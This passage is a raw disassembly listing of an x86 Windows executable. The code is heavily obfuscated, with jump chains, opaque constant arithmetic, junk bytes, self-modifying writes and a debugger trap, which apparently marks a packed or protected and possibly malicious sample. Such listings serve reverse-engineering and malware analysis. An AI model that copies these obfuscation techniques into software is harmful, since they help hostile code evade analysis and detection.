--------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC4F loc_42DF3F: ; CODE XREF: sub_42DC4F+A48j cmp ebp, 6F7BD6A4h jmp loc_42DFF4 ; END OF FUNCTION CHUNK FOR sub_42DC4F ; --------------------------------------------------------------------------- dw 0C600h ; --------------------------------------------------------------------------- add al, bl pop edx push edx mov edx, esi push 42DE5Eh jmp locret_42E989 ; --------------------------------------------------------------------------- dd 0C300h ; CODE XREF: lsqvqpii:loc_42EC10j ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDBB loc_42DF60: ; CODE XREF: sub_42EDBB-5E0j jmp loc_42E722 ; END OF FUNCTION CHUNK FOR sub_42EDBB ; --------------------------------------------------------------------------- align 2 word_42DF66 dw 9C52h ; DATA XREF: lsqvqpii:0042E3FCo dd 3DE24D68h, 0C2C15A97h, 46F2810Ah, 0E8D7B13Fh, 0FFFFF61Fh db 2 dup(0) ; --------------------------------------------------------------------------- locret_42DF7E: ; CODE XREF: lsqvqpii:0042E815j retn ; --------------------------------------------------------------------------- align 10h loc_42DF80: ; CODE XREF: lsqvqpii:0042CEBDj jmp near ptr dword_42CCEC+1Fh ; --------------------------------------------------------------------------- align 2 jmp loc_42EBE3 ; --------------------------------------------------------------------------- align 4 dd 0D3946800h, 0B0E90042h, 0FFFFFEh, 0BE243C87h, 42E371h dd 787E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42DFA6: ; CODE XREF: lsqvqpii:loc_42E6B4j push 42D450h jmp locret_42E324 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42DFB1: ; CODE XREF: lsqvqpii:loc_42CAA8j call sub_42E6D7 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D1B0 loc_42DFB7: ; CODE XREF: sub_42D1B0+Cj jmp locret_42E4AD ; END OF FUNCTION CHUNK FOR sub_42D1B0 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42DFBE: ; CODE XREF: sub_42E407:loc_42D85Bj jz loc_42CE96 jmp loc_42DD67 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- db 0Fh, 85h, 4Bh dd 0E8000006h, 0FFFFF601h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42DFD5: ; CODE XREF: sub_42E407+104j test eax, ebp jmp loc_42CE64 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- dd 0BAC28100h, 35C6977h, 3F355AFAh dword_42DFE8 dd 243C8702h, 62E9D0FFh, 4; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC4F loc_42DFF4: ; CODE XREF: sub_42DC4F+2F6j jno loc_42DB5A loc_42DFFA: ; CODE XREF: sub_42DC4F+A40j add ecx, 0FFA2B4F8h popf xchg ecx, [esp+0] jmp loc_42EB9D ; END OF FUNCTION CHUNK FOR sub_42DC4F ; --------------------------------------------------------------------------- db 2 dup(0), 55h dd 59240C87h, 0D826D368h, 0BAE95B6Bh, 0FFFFF6h db 0 ; --------------------------------------------------------------------------- loc_42E01D: ; CODE XREF: lsqvqpii:loc_42D8CFj xor eax, 0B2B81F32h and eax, 0E8E859BBh add eax, 0D7DAC590h loc_42E02F: ; DATA XREF: lsqvqpii:0042D591o sub eax, 0F716E800h ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_42E037: ; CODE XREF: lsqvqpii:0042D0E8j jmp near ptr loc_42CD16+1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CD93 loc_42E03D: ; CODE XREF: sub_42CD93+Dj jz loc_42D861 jmp loc_42DC46 ; END OF FUNCTION CHUNK FOR sub_42CD93 ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND] db 0E9h dd 0FFFFFD15h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D1E0 loc_42E052: ; CODE XREF: sub_42D1E0+5j jmp loc_42E90E ; END OF FUNCTION CHUNK FOR sub_42D1E0 ; =============== S U B R O U T I N E ======================================= sub_42E057 proc near ; DATA XREF: lsqvqpii:loc_42E868o mov edx, [eax] push offset loc_42E344 jmp nullsub_29 sub_42E057 endp ; --------------------------------------------------------------------------- loc_42E063: ; CODE XREF: lsqvqpii:0042D071j jnb loc_42E58C test eax, 0CE93C9FAh jmp loc_42D5CF ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E076: ; CODE XREF: lsqvqpii:0042DBBCj jbe loc_42D06F xchg ebx, edx popf mov [eax], ebx jmp loc_42E08A ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E08A: ; CODE XREF: lsqvqpii:loc_42DBB4j ; lsqvqpii:0042E081j call sub_42D663 ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42E08F: ; CODE XREF: sub_42D877+1445j jmp loc_42D7DA ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E096: ; CODE XREF: lsqvqpii:0042D07Bj jmp locret_42E982 ; --------------------------------------------------------------------------- align 4 dd 34875E51h, 72846824h, 0E95E7AFBh, 0FFFFF605h ; --------------------------------------------------------------------------- loc_42E0AC: ; CODE XREF: lsqvqpii:0042DB05j mov byte ptr [ecx], 0FFh pop ecx xchg edx, [esp] loc_42E0B3: ; DATA XREF: lsqvqpii:0042DB00o xor ds:dword_4210C0, edx push edi push 520212F2h pop edi rol edi, 19h jmp loc_42E2FF ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42E0CA proc near ; CODE XREF: lsqvqpii:0042D19Fj arg_4 = dword ptr 8 xchg edx, [esp+0] pop edx push ebx mov ebx, eax xchg ebx, [esp+0] mov eax, ecx xchg eax, [esp+0] call near ptr dword_42CF68+7 add [ecx-436EB63Eh], al ; DATA XREF: lsqvqpii:0042ECDAo leave locret_42E0E5: ; DATA XREF: lsqvqpii:0042D908o leave xchg edx, [esp-8+arg_4] retn sub_42E0CA endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42E0ED: ; CODE XREF: lsqvqpii:0042E134j mov eax, esi xchg eax, [esp] mov esi, offset loc_42EB0B jmp loc_42ED14 ; --------------------------------------------------------------------------- dd 0D0F70000h, 0FFF009E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42E105: ; CODE XREF: sub_42E407:loc_42DD67j adc edi, edx test esi, 45E40E1Bh jmp loc_42EB34 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- xchg ebx, [esp] pop ebx pop ebp call ds:dword_4210C0 ; ExitProcess jmp loc_42CFA8 ; --------------------------------------------------------------------------- align 4 dd 5A241487h, 0FEDEE853h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CD93 loc_42E12E: ; CODE XREF: sub_42CD93+AD6j jmp nullsub_18 ; END OF FUNCTION CHUNK FOR sub_42CD93 ; --------------------------------------------------------------------------- align 4 jmp loc_42E0ED ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0FFEB8F86h, 240C87FFh, 24348759h, 0FFFE82E8h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_42E14E: ; DATA XREF: sub_42CD93+AD1o push edx pop ecx push esi mov esi, offset loc_42E199 jmp loc_42E194 ; --------------------------------------------------------------------------- align 4 dd 1DE5C100h, 695DE281h, 0A6E93008h, 0FFFFF3h, 580900C6h dd 0FFF8F6E8h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_42DD3F loc_42E176: ; CODE XREF: sub_42DD3F+559j jmp loc_42CBC2 ; END OF FUNCTION CHUNK FOR sub_42DD3F ; --------------------------------------------------------------------------- align 4 dd 0FDB5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- locret_42E182: ; CODE XREF: lsqvqpii:loc_42DCE6j retn ; --------------------------------------------------------------------------- align 4 dd 0FFEAA4E9h, 0BD8F0FFFh, 0E9FFFFEBh, 0FFFFF5F4h ; --------------------------------------------------------------------------- loc_42E194: ; CODE XREF: lsqvqpii:0042E156j mov byte ptr [esi], 87h pop esi pop edx loc_42E199: ; DATA XREF: lsqvqpii:0042E151o xchg ebx, [esp] mov esi, ebx xchg eax, [esp] mov ebx, eax jmp loc_42D316 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E1AA: ; CODE XREF: lsqvqpii:0042D81Aj and ecx, 18AB24FDh or ecx, 0A9D3A1F8h add ecx, 6251788Dh add ecx, ebp jmp loc_42E892 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_42E1C5: ; CODE XREF: lsqvqpii:loc_42EA38j call loc_42ED42 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42E1CC: ; CODE XREF: sub_42D877-3D6j jmp loc_42E41E ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- align 2 xchg edx, [esp] push edx pop ecx push offset loc_42E4F9 jmp locret_42E4F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EA00 loc_42E1E1: ; CODE XREF: sub_42EA00-14F5j mov byte ptr [edi], 87h pop edi xor edi, 72D81156h loc_42E1EB: ; DATA XREF: sub_42EA00-14FAo cmp [esp-4+arg_0], 0FFFFFFE9h popa or [eax], al ; END OF FUNCTION CHUNK FOR sub_42EA00 ; --------------------------------------------------------------------------- dw 0 dd 7B685700h, 0E90042D1h, 89Dh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E203: ; CODE XREF: lsqvqpii:0042D596j mov byte ptr [edi], 8Bh pop edi pop eax sub eax, 565680FDh jmp loc_42D8CF ; --------------------------------------------------------------------------- align 4 dd 0BCC78100h, 873CC0E0h, 41E9243Ch, 0FFFFF9h, 0FF32E468h db 89h ; --------------------------------------------------------------------------- loc_42E229: ; CODE XREF: lsqvqpii:0042DB14j xchg esi, [esp] mov eax, esi xchg ecx, [esp] mov esi, ecx pop ecx jmp near ptr dword_42D3EC+1Dh ; --------------------------------------------------------------------------- loc_42E239: ; CODE XREF: lsqvqpii:loc_42CFA8j push offset byte_42D157 jmp locret_42E65B ; --------------------------------------------------------------------------- align 4 loc_42E244: ; CODE XREF: lsqvqpii:loc_42DA85j add ebx, 28AA5A0Bh xchg ebx, [esp] jmp near ptr dword_42CC24+2 ; --------------------------------------------------------------------------- dw 6800h dd 89FF32E4h, 42EE1E68h, 0BAFE900h, 0C3000000h ; --------------------------------------------------------------------------- loc_42E264: ; CODE XREF: lsqvqpii:0042E88Bj jmp loc_42E69C ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E26B: ; DATA XREF: lsqvqpii:0042D5C0o add edx, 74AF6617h cmp edi, edx pop edx jmp loc_42EB28 ; --------------------------------------------------------------------------- db 2 dup(0), 68h dd offset loc_42D53F ; --------------------------------------------------------------------------- jmp locret_42E406 ; --------------------------------------------------------------------------- align 2 dw 850Fh dd 0FFFFFAC9h, 0FFED22E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_42DD3F loc_42E292: ; CODE XREF: sub_42DD3F-E0Dj test ecx, 20h jmp loc_42E176 ; END OF FUNCTION CHUNK FOR sub_42DD3F ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E29F: ; CODE XREF: lsqvqpii:0042D920j or edx, 2E347E73h add edx, 0D14E4FDAh jmp loc_42CAA8 ; --------------------------------------------------------------------------- dd 0F9D0000h, 0FFF3BD8Bh, 4A3E9FFh, 992C0000h, 0FFE9ACE8h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42E2C7: ; CODE XREF: sub_42E407-707j add edx, 0ACDE3745h jmp loc_42CAA2 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_42E2D3 proc near ; CODE XREF: lsqvqpii:0042D4C3p ; FUNCTION CHUNK AT 0042DAD1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042E5F8 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042E9D3 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi add edi, 0C0725E6h mov edi, [edi] popf jmp loc_42DAD1 sub_42E2D3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 mov byte ptr [edx], 0Fh pop edx call sub_42D1B0 ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42E2EF: ; CODE XREF: sub_42E407+1Ej and ebx, 3FBB7CB1h ; END OF FUNCTION CHUNK FOR sub_42E407 ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42E2F5: ; CODE XREF: sub_42D877:loc_42D49Bj jmp loc_42D53F ; --------------------------------------------------------------------------- loc_42E2FA: ; CODE XREF: sub_42D877+6j call sub_42D010 loc_42E2FF: ; CODE XREF: lsqvqpii:0042E0C3j jmp loc_42EA49 ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- dd 0FFF962E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_42E30A: ; CODE XREF: lsqvqpii:0042CA9Bj jmp loc_42DB64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD3F loc_42E30F: ; CODE XREF: sub_42DD3F:loc_42CBC2j ; lsqvqpii:0042CBD7j add ecx, 0F8025567h popf loc_42E316: ; DATA XREF: sub_42DD3F+5o mov ecx, [ecx] pushf push 0E93DC290h jmp loc_42EAE8 ; END OF FUNCTION CHUNK FOR sub_42DD3F ; --------------------------------------------------------------------------- align 4 locret_42E324: ; CODE XREF: lsqvqpii:0042DFABj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E327: ; CODE XREF: lsqvqpii:0042D853j jmp locret_42CAD8 ; --------------------------------------------------------------------------- dd 0E843E900h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_42E332 proc near ; CODE XREF: lsqvqpii:0042CD5Ep arg_0 = byte ptr 4 ; FUNCTION CHUNK AT 0042DAE3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042E359 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042E511 SIZE 00000029 BYTES xchg ebx, [esp+0] pop ebx xor ebx, 0DFEF71F3h loc_42E33C: ; DATA XREF: lsqvqpii:0042D933o mov [esp-4+arg_0], bl call loc_42D694 loc_42E344: ; DATA XREF: sub_42E057+2o or edx, edx jz loc_42E7D7 push ebx mov ebx, edi xchg ebx, [esp+0] jmp loc_42E511 sub_42E332 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E332 loc_42E359: ; CODE XREF: sub_42E332+203j mov byte ptr [edi], 50h pop edi push edi mov edi, ecx jmp loc_42DAE3 ; END OF FUNCTION CHUNK FOR sub_42E332 ; =============== S U B R O U T I N E ======================================= sub_42E365 proc near ; CODE XREF: lsqvqpii:0042EC0Bp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042EC2B SIZE 00000005 BYTES xchg ebx, [esp+0] xchg eax, [esp+0] mov ebx, eax pop eax xchg edi, [esp-4+arg_0] inc ebx add eax, offset byte_42DE10 push offset loc_42EAA7 jmp loc_42EC2B sub_42E365 endp ; --------------------------------------------------------------------------- xchg ebp, [esi] jmp loc_42E9DA ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42E389: ; CODE XREF: sub_42E407:loc_42E4EBj and esi, 408D84F1h xor esi, 21D26F36h add esi, 9EE6F190h jmp loc_42D611 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- dd 0C30000h, 0FA95E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC4F loc_42E3AA: ; CODE XREF: sub_42DC4F-B76j jmp loc_42E966 ; END OF FUNCTION CHUNK FOR sub_42DC4F ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- loc_42E3B1: ; CODE XREF: lsqvqpii:0042DABCj xchg esi, [esp] pop esi popf xchg edx, [esp] jmp loc_42EA38 ; --------------------------------------------------------------------------- align 10h dd 0EBA9830Fh, 0CBC1FFFFh, 0EE12E90Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42E3CE: ; CODE XREF: lsqvqpii:loc_42E58Cj xchg ebx, [esp] pop ebx lea eax, byte_42DDCD push eax call sub_42D52F add [edx-7Fh], bl ; CODE XREF: sub_42E407:loc_42E4AEj loop near ptr loc_42E425+2 add ecx, eax mov ebp, 721C281h mov dl, 4Eh add edx, ebp jmp loc_42EDE7 ; --------------------------------------------------------------------------- loc_42E3F3: ; CODE XREF: lsqvqpii:0042E580j test ebx, edx pop edx jmp loc_42D6AC ; --------------------------------------------------------------------------- pop edi push offset word_42DF66 jmp loc_42EC10 ; --------------------------------------------------------------------------- locret_42E406: ; CODE XREF: lsqvqpii:0042E280j retn ; =============== S U B R O U T I N E ======================================= sub_42E407 proc near ; CODE XREF: sub_42D877:loc_42D232p var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042CAA2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CAAE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CC5D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CC71 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042CE64 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042CE96 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CED3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042CFBA SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042CFE0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042D12C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042D1AB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D1C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D22D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D35E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042D3E2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042D520 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042D611 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D651 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042D7C3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042D806 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042D85B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D94C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042D97E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042DB39 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042DBA5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DC2E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DCF1 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042DD67 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DDA2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DDA8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DFBE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DFD5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042E105 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042E2C7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E2EF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042E389 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042E505 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E5BB SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042E65C SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042E6E5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E8C9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E903 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042E929 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E9BD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042E9F2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042EAEF SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0042EB34 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042EC99 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042ED56 SIZE 00000007 BYTES xchg edi, [esp+0] pop edi push esi push 2984F384h pop esi xor esi, 0C67D769Fh jmp loc_42E4EB ; --------------------------------------------------------------------------- align 2 loc_42E41E: ; CODE XREF: sub_42D877:loc_42E1CCj sbb ebp, 34825E0h popf loc_42E425: ; CODE XREF: lsqvqpii:0042E3E1j jmp loc_42E2EF ; --------------------------------------------------------------------------- align 4 dd 6319D581h, 9BE9AD0Dh, 0FFFFFAh db 0 ; --------------------------------------------------------------------------- loc_42E439: ; CODE XREF: lsqvqpii:0042D586j ; lsqvqpii:loc_42E69Cj push ebx mov ebx, edx xchg ebx, [esp+0] call sub_42EB86 ; --------------------------------------------------------------------------- db 2 dup(0), 55h ; --------------------------------------------------------------------------- loc_42E447: ; CODE XREF: sub_42DC4F+D20j sbb ebx, 804F2756h sbb edi, esi call sub_42E7E2 add cl, ch sahf add [eax], eax ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- jmp nullsub_27 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFE87Ah, 0C7C10000h, 0B3EF810Fh, 0E8BCC359h, 0FFFFF03Ah db 0 ; --------------------------------------------------------------------------- loc_42E479: ; CODE XREF: sub_42EC73-FC3j mov byte ptr [edx], 8Bh pop edx xor eax, 7B60D942h or eax, 30A08CE4h and eax, 249A1F4Dh add eax, 0DFC1F4D8h jmp loc_42D520 ; --------------------------------------------------------------------------- loc_42E49A: ; CODE XREF: sub_42E407:loc_42D22Dj jl loc_42D12C add [ecx-784E2703h], al int 3 ; Trap to Debugger jmp loc_42CFE0 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_42E4AD: ; CODE XREF: sub_42D1B0:loc_42DFB7j retn ; --------------------------------------------------------------------------- loc_42E4AE: ; CODE XREF: lsqvqpii:0042E8A3j jmp near ptr loc_42E3DE+1 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_42E4B5: ; CODE XREF: sub_42D338+10j jmp loc_42DCF1 ; --------------------------------------------------------------------------- word_42E4BA dw 8B50h ; DATA XREF: sub_42D1B0+7o dd 240487C1h, 0FFEB30E8h db 0FFh, 0 word_42E4C6 dw 6D68h ; DATA XREF: lsqvqpii:0042D79Ao dd 0E90042DDh, 0FFFFFB7Bh, 0F934E900h db 2 dup(0FFh) word_42E4D6 dw 0 ; CODE XREF: sub_42D877+CDCj ; --------------------------------------------------------------------------- jmp loc_42E9BD ; --------------------------------------------------------------------------- align 2 loc_42E4DE: ; CODE XREF: sub_42CD93+7D9j ; sub_42CD93:loc_42DEBFj lodsb add edx, eax rol edx, 3 jmp loc_42CC5D ; --------------------------------------------------------------------------- locret_42E4E9: ; CODE XREF: lsqvqpii:0042D79Fj retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42E4EB: ; CODE XREF: sub_42E407+11j jmp loc_42E389 sub_42E407 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_42E4F0: ; CODE XREF: lsqvqpii:0042E1DCj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D2AC loc_42E4F3: ; CODE XREF: sub_42D2AC+96Dj jmp loc_42D95C ; END OF FUNCTION CHUNK FOR sub_42D2AC ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42E4F9: ; DATA XREF: lsqvqpii:0042E1D7o push eax mov eax, offset loc_42E95A jmp loc_42E955 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42E505: ; CODE XREF: sub_42E407:loc_42E929j jnz sub_42EA00 jmp loc_42DFD5 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E332 loc_42E511: ; CODE XREF: sub_42E332+20j push 40363191h pop edi and edi, 9DD2CF1Ah or edi, 9215CBA1h add edi, 0A8CE8E8Bh and edi, 0AEA92EFBh add edi, 0D5A2D0B0h jmp loc_42E359 ; END OF FUNCTION CHUNK FOR sub_42E332 ; --------------------------------------------------------------------------- align 4 dd 6E9CE3Bh, 0FFFFEDh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42E545: ; CODE XREF: sub_42D877:loc_42EA6Dj ; sub_42D877+13F1j push edx call near ptr loc_42E54B+1 loc_42E54B: ; CODE XREF: sub_42D877+CCFp add [edi+685B241Ch], al jno short loc_42E5A4 jp short near ptr word_42E4D6 pop edx xor edx, 0D8BE19Ch add edx, 638FA1DCh jmp loc_42CC01 ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- align 4 or edx, 20DE2F0Ah xor edx, 45AECDD1h or edx, 0A934CC8h add edx, 112C0132h jmp loc_42E3F3 ; --------------------------------------------------------------------------- align 2 sub edi, 0A2466F32h loc_42E58C: ; CODE XREF: lsqvqpii:loc_42E063j jmp loc_42E3CE ; --------------------------------------------------------------------------- byte_42E591 db 0C6h, 6, 9Dh ; DATA XREF: lsqvqpii:loc_42D6BDo dd 2414875Eh, 0FFEAB2E8h, 810000FFh, 2CB894E5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42E5A4: ; CODE XREF: sub_42D877+CDAj popa jmp loc_42ED42 ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D080 loc_42E5AA: ; CODE XREF: sub_42D080:loc_42DD8Cj add ebx, 2E40C1E1h jmp loc_42E6CA ; END OF FUNCTION CHUNK FOR sub_42D080 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42E5B5 proc near ; DATA XREF: sub_42E407:loc_42E9F5o jmp sub_42CD4C sub_42E5B5 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42E5BB: ; CODE XREF: sub_42E407-EE3j mov eax, [eax] or eax, eax jnz nullsub_5 jmp loc_42D85B ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42EC30 loc_42E5CC: ; CODE XREF: sub_42EC30+12j and eax, 0A2871FB3h add eax, 5E41C324h jmp loc_42CE46 ; END OF FUNCTION CHUNK FOR sub_42EC30 ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_42E5DE proc near ; CODE XREF: sub_42CC9B+1C61p ; FUNCTION CHUNK AT 0042D358 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042ED2C SIZE 00000005 BYTES xchg esi, [esp+0] pop esi add esi, 0A64266B1h add eax, esi pop esi push esi push 99E68FB8h jmp loc_42ED2C sub_42E5DE endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42E2D3 loc_42E5F8: ; CODE XREF: sub_42E2D3:loc_42E9D3j mov dword ptr [ebp-4], 1 push 0D49B7AAEh pop eax rol eax, 10h sub eax, 0B354C208h jmp sub_42D080 ; END OF FUNCTION CHUNK FOR sub_42E2D3 ; --------------------------------------------------------------------------- loc_42E613: ; CODE XREF: lsqvqpii:0042D0B9j pop esi pop ebp push offset loc_42D58B jmp loc_42D870 ; --------------------------------------------------------------------------- loc_42E61F: ; DATA XREF: lsqvqpii:0042DEAAo add edx, 63D7AB3Eh add edx, ebp push offset byte_42E783 jmp locret_42E778 ; --------------------------------------------------------------------------- align 2 loc_42E632: ; CODE XREF: lsqvqpii:0042E779j lea eax, byte_42DE10 push offset loc_42EB1B jmp loc_42EAE2 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42E643: ; CODE XREF: lsqvqpii:0042CFADj or edx, edx jz loc_42E650 call sub_421134 ; START OF FUNCTION CHUNK FOR 